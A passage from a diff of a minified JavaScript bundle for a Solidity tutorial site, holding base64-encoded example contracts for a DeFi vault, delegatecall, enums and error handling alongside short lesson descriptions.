cm9tLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50CiAgICAgICAgQiA9IGJhbGFuY2Ugb2YgdG9rZW4gYmVmb3JlIGRlcG9zaXQKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBtaW50CgogICAgICAgIChUICsgcykgLyBUID0gKGEgKyBCKSAvIEIgCgogICAgICAgIHMgPSBhVCAvIEIKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgc2hhcmVzOwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9hbW91bnQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hhcmVzID0gKF9hbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9zaGFyZXMpIGV4dGVybmFsIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQKICAgICAgICBCID0gYmFsYW5jZSBvZiB0b2tlbiBiZWZvcmUgd2l0aGRyYXcKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBidXJuCgogICAgICAgIChUIC0gcykgLyBUID0gKEIgLSBhKSAvIEIgCgogICAgICAgIGEgPSBzQiAvIFQKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgYW1vdW50ID0KICAgICAgICAgICAgKF9zaGFyZXMgKiB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpIC8gdG90YWxTdXBwbHk7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGFtb3VudAogICAgKTsKfQo="}],fb=`
                    Simple example of vault contract, commonly used in DeFi protocols.
                    
+
                    `,Wb=({prev:s,next:a})=>r.jsx(u,{version:mb,title:bb,description:wb,html:Zb,prev:s,next:a,codes:kb}),Bb="0.8.24",Gb="Vault",Vb="Vault",fb=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50CiAgICAgICAgQiA9IGJhbGFuY2Ugb2YgdG9rZW4gYmVmb3JlIGRlcG9zaXQKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBtaW50CgogICAgICAgIChUICsgcykgLyBUID0gKGEgKyBCKSAvIEIgCgogICAgICAgIHMgPSBhVCAvIEIKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgc2hhcmVzOwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9hbW91bnQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hhcmVzID0gKF9hbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9zaGFyZXMpIGV4dGVybmFsIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQKICAgICAgICBCID0gYmFsYW5jZSBvZiB0b2tlbiBiZWZvcmUgd2l0aGRyYXcKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBidXJuCgogICAgICAgIChUIC0gcykgLyBUID0gKEIgLSBhKSAvIEIgCgogICAgICAgIGEgPSBzQiAvIFQKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgYW1vdW50ID0KICAgICAgICAgICAgKF9zaGFyZXMgKiB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpIC8gdG90YWxTdXBwbHk7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGFtb3VudAogICAgKTsKfQo="}],Yb=`
                    Simple example of vault contract, commonly used in DeFi protocols.
                    
 
                    Most vaults on the mainnet are more complex. Here we will focus on the math for calculating shares to mint on deposit and the amount of token to withdraw.
                    
 
                    How the contract works
                    
 
                      
@@ -7036,7 +7036,7 @@ IERC20 constant PAIR address indexed owner, address indexed spender, uint256 amount
     );
 }
-
                    `,Yb=({prev:s,next:a})=>r.jsx(u,{version:Wb,title:Gb,description:Bb,html:fb,prev:s,next:a,codes:Vb}),Rb="0.8.24",Xb="Delegatecall",vb="Example of how to use deletegatecall in Solidity",Nb=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQyNTYgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50MjU2IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Hb=`

                    delegatecall is a low level function similar to call.

                    +`,Rb=({prev:s,next:a})=>r.jsx(u,{version:Bb,title:Gb,description:Vb,html:Yb,prev:s,next:a,codes:fb}),Xb="0.8.24",vb="Delegatecall",Nb="Example of how to use deletegatecall in Solidity",Hb=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQyNTYgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50MjU2IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Fb=`

                    delegatecall is a low level function similar to call.

                    When contract A executes delegatecall to contract B, B's code is executed

                    with contract A's storage, msg.sender and msg.value.

                    // SPDX-License-Identifier: MIT
@@ -7068,7 +7068,7 @@ IERC20 constant PAIR Solidity supports enumerables and they are useful to model choice and keep track of state.
                    
+
                    `,Kb=({prev:s,next:a})=>r.jsx(u,{version:Xb,title:vb,description:Nb,html:Fb,prev:s,next:a,codes:Hb}),Sb="0.8.24",Mb="Enum",xb="Example of enums in Solidity",Jb=[{fileName:"Enum.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEVudW0gewogICAgLy8gRW51bSByZXByZXNlbnRpbmcgc2hpcHBpbmcgc3RhdHVzCiAgICBlbnVtIFN0YXR1cyB7CiAgICAgICAgUGVuZGluZywKICAgICAgICBTaGlwcGVkLAogICAgICAgIEFjY2VwdGVkLAogICAgICAgIFJlamVjdGVkLAogICAgICAgIENhbmNlbGVkCiAgICB9CgogICAgLy8gRGVmYXVsdCB2YWx1ZSBpcyB0aGUgZmlyc3QgZWxlbWVudCBsaXN0ZWQgaW4KICAgIC8vIGRlZmluaXRpb24gb2YgdGhlIHR5cGUsIGluIHRoaXMgY2FzZSAiUGVuZGluZyIKICAgIFN0YXR1cyBwdWJsaWMgc3RhdHVzOwoKICAgIC8vIFJldHVybnMgdWludAogICAgLy8gUGVuZGluZyAgLSAwCiAgICAvLyBTaGlwcGVkICAtIDEKICAgIC8vIEFjY2VwdGVkIC0gMgogICAgLy8gUmVqZWN0ZWQgLSAzCiAgICAvLyBDYW5jZWxlZCAtIDQKICAgIGZ1bmN0aW9uIGdldCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKFN0YXR1cykgewogICAgICAgIHJldHVybiBzdGF0dXM7CiAgICB9CgogICAgLy8gVXBkYXRlIHN0YXR1cyBieSBwYXNzaW5nIHVpbnQgaW50byBpbnB1dAogICAgZnVuY3Rpb24gc2V0KFN0YXR1cyBfc3RhdHVzKSBwdWJsaWMgewogICAgICAgIHN0YXR1cyA9IF9zdGF0dXM7CiAgICB9CgogICAgLy8gWW91IGNhbiB1cGRhdGUgdG8gYSBzcGVjaWZpYyBlbnVtIGxpa2UgdGhpcwogICAgZnVuY3Rpb24gY2FuY2VsKCkgcHVibGljIHsKICAgICAgICBzdGF0dXMgPSBTdGF0dXMuQ2FuY2VsZWQ7CiAgICB9CgogICAgLy8gZGVsZXRlIHJlc2V0cyB0aGUgZW51bSB0byBpdHMgZmlyc3QgdmFsdWUsIDAKICAgIGZ1bmN0aW9uIHJlc2V0KCkgcHVibGljIHsKICAgICAgICBkZWxldGUgc3RhdHVzOwogICAgfQp9Cg=="},{fileName:"EnumDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKLy8gVGhpcyBpcyBzYXZlZCAnRW51bURlY2xhcmF0aW9uLnNvbCcKCmVudW0gU3RhdHVzIHsKICAgIFBlbmRpbmcsCiAgICBTaGlwcGVkLAogICAgQWNjZXB0ZWQsCiAgICBSZWplY3RlZCwKICAgIENhbmNlbGVkCn0K"},{fileName:"EnumImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FbnVtRGVjbGFyYXRpb24uc29sIjsKCmNvbnRyYWN0IEVudW0gewogICAgU3RhdHVzIHB1YmxpYyBzdGF0dXM7Cn0K"}],zb=`

                    Solidity supports enumerables and they are useful to model choice and keep track of state.

                    Enums can be declared outside of a contract.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -7134,7 +7134,7 @@ IERC20 constant PAIR contract Enum {
     Status public status;
 }
-
                    `,zb=({prev:s,next:a})=>r.jsx(u,{version:Kb,title:Sb,description:Mb,html:Jb,prev:s,next:a,codes:xb}),Eb="0.8.24",Ub="Error",Tb="Example of how to throw errors in Solidity",Qb=[{fileName:"Account.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFjY291bnQgewogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9VSU5UID0gMiAqKiAyNTYgLSAxOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgb2xkQmFsYW5jZSA9IGJhbGFuY2U7CiAgICAgICAgdWludDI1NiBuZXdCYWxhbmNlID0gYmFsYW5jZSArIF9hbW91bnQ7CgogICAgICAgIC8vIGJhbGFuY2UgKyBfYW1vdW50IGRvZXMgbm90IG92ZXJmbG93IGlmIGJhbGFuY2UgKyBfYW1vdW50ID49IGJhbGFuY2UKICAgICAgICByZXF1aXJlKG5ld0JhbGFuY2UgPj0gb2xkQmFsYW5jZSwgIk92ZXJmbG93Iik7CgogICAgICAgIGJhbGFuY2UgPSBuZXdCYWxhbmNlOwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA+PSBvbGRCYWxhbmNlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiBvbGRCYWxhbmNlID0gYmFsYW5jZTsKCiAgICAgICAgLy8gYmFsYW5jZSAtIF9hbW91bnQgZG9lcyBub3QgdW5kZXJmbG93IGlmIGJhbGFuY2UgPj0gX2Ftb3VudAogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA+PSBfYW1vdW50LCAiVW5kZXJmbG93Iik7CgogICAgICAgIGlmIChiYWxhbmNlIDwgX2Ftb3VudCkgewogICAgICAgICAgICByZXZlcnQoIlVuZGVyZmxvdyIpOwogICAgICAgIH0KCiAgICAgICAgYmFsYW5jZSAtPSBfYW1vdW50OwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA8PSBvbGRCYWxhbmNlKTsKICAgIH0KfQo="},{fileName:"Error.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEVycm9yIHsKICAgIGZ1bmN0aW9uIHRlc3RSZXF1aXJlKHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXF1aXJlIHNob3VsZCBiZSB1c2VkIHRvIHZhbGlkYXRlIGNvbmRpdGlvbnMgc3VjaCBhczoKICAgICAgICAvLyAtIGlucHV0cwogICAgICAgIC8vIC0gY29uZGl0aW9ucyBiZWZvcmUgZXhlY3V0aW9uCiAgICAgICAgLy8gLSByZXR1cm4gdmFsdWVzIGZyb20gY2FsbHMgdG8gb3RoZXIgZnVuY3Rpb25zCiAgICAgICAgcmVxdWlyZShfaSA+IDEwLCAiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0UmV2ZXJ0KHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXZlcnQgaXMgdXNlZnVsIHdoZW4gdGhlIGNvbmRpdGlvbiB0byBjaGVjayBpcyBjb21wbGV4LgogICAgICAgIC8vIFRoaXMgY29kZSBkb2VzIHRoZSBleGFjdCBzYW1lIHRoaW5nIGFzIHRoZSBleGFtcGxlIGFib3ZlCiAgICAgICAgaWYgKF9pIDw9IDEwKSB7CiAgICAgICAgICAgIHJldmVydCgiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgICAgICB9CiAgICB9CgogICAgdWludDI1NiBwdWJsaWMgbnVtOwoKICAgIGZ1bmN0aW9uIHRlc3RBc3NlcnQoKSBwdWJsaWMgdmlldyB7CiAgICAgICAgLy8gQXNzZXJ0IHNob3VsZCBvbmx5IGJlIHVzZWQgdG8gdGVzdCBmb3IgaW50ZXJuYWwgZXJyb3JzLAogICAgICAgIC8vIGFuZCB0byBjaGVjayBpbnZhcmlhbnRzLgoKICAgICAgICAvLyBIZXJlIHdlIGFzc2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50MjU2IGJhbGFuY2UsIHVpbnQyNTYgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50MjU2IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpbnQyNTYgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2UoewogICAgICAgICAgICAgICAgYmFsYW5jZTogYmFsLAogICAgICAgICAgICAgICAgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudAogICAgICAgICAgICB9KTsKICAgICAgICB9CiAgICB9Cn0K"}],Db=`

                    An error will undo all changes made to the state during a transaction.

                    +`,Eb=({prev:s,next:a})=>r.jsx(u,{version:Sb,title:Mb,description:xb,html:zb,prev:s,next:a,codes:Jb}),Db="0.8.24",Tb="Error",Ub="Example of how to throw errors in Solidity",Qb=[{fileName:"Account.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFjY291bnQgewogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9VSU5UID0gMiAqKiAyNTYgLSAxOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgb2xkQmFsYW5jZSA9IGJhbGFuY2U7CiAgICAgICAgdWludDI1NiBuZXdCYWxhbmNlID0gYmFsYW5jZSArIF9hbW91bnQ7CgogICAgICAgIC8vIGJhbGFuY2UgKyBfYW1vdW50IGRvZXMgbm90IG92ZXJmbG93IGlmIGJhbGFuY2UgKyBfYW1vdW50ID49IGJhbGFuY2UKICAgICAgICByZXF1aXJlKG5ld0JhbGFuY2UgPj0gb2xkQmFsYW5jZSwgIk92ZXJmbG93Iik7CgogICAgICAgIGJhbGFuY2UgPSBuZXdCYWxhbmNlOwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA+PSBvbGRCYWxhbmNlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiBvbGRCYWxhbmNlID0gYmFsYW5jZTsKCiAgICAgICAgLy8gYmFsYW5jZSAtIF9hbW91bnQgZG9lcyBub3QgdW5kZXJmbG93IGlmIGJhbGFuY2UgPj0gX2Ftb3VudAogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA+PSBfYW1vdW50LCAiVW5kZXJmbG93Iik7CgogICAgICAgIGlmIChiYWxhbmNlIDwgX2Ftb3VudCkgewogICAgICAgICAgICByZXZlcnQoIlVuZGVyZmxvdyIpOwogICAgICAgIH0KCiAgICAgICAgYmFsYW5jZSAtPSBfYW1vdW50OwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA8PSBvbGRCYWxhbmNlKTsKICAgIH0KfQo="},{fileName:"Error.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEVycm9yIHsKICAgIGZ1bmN0aW9uIHRlc3RSZXF1aXJlKHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXF1aXJlIHNob3VsZCBiZSB1c2VkIHRvIHZhbGlkYXRlIGNvbmRpdGlvbnMgc3VjaCBhczoKICAgICAgICAvLyAtIGlucHV0cwogICAgICAgIC8vIC0gY29uZGl0aW9ucyBiZWZvcmUgZXhlY3V0aW9uCiAgICAgICAgLy8gLSByZXR1cm4gdmFsdWVzIGZyb20gY2FsbHMgdG8gb3RoZXIgZnVuY3Rpb25zCiAgICAgICAgcmVxdWlyZShfaSA+IDEwLCAiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0UmV2ZXJ0KHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXZlcnQgaXMgdXNlZnVsIHdoZW4gdGhlIGNvbmRpdGlvbiB0byBjaGVjayBpcyBjb21wbGV4LgogICAgICAgIC8vIFRoaXMgY29kZSBkb2VzIHRoZSBleGFjdCBzYW1lIHRoaW5nIGFzIHRoZSBleGFtcGxlIGFib3ZlCiAgICAgICAgaWYgKF9pIDw9IDEwKSB7CiAgICAgICAgICAgIHJldmVydCgiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgICAgICB9CiAgICB9CgogICAgdWludDI1NiBwdWJsaWMgbnVtOwoKICAgIGZ1bmN0aW9uIHRlc3RBc3NlcnQoKSBwdWJsaWMgdmlldyB7CiAgICAgICAgLy8gQXNzZXJ0IHNob3VsZCBvbmx5IGJlIHVzZWQgdG8gdGVzdCBmb3IgaW50ZXJuYWwgZXJyb3JzLAogICAgICAgIC8vIGFuZCB0byBjaGVjayBpbnZhcmlhbnRzLgoKICAgICAgICAvLyBIZXJlIHdlIGFzc2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50MjU2IGJhbGFuY2UsIHVpbnQyNTYgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50MjU2IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpb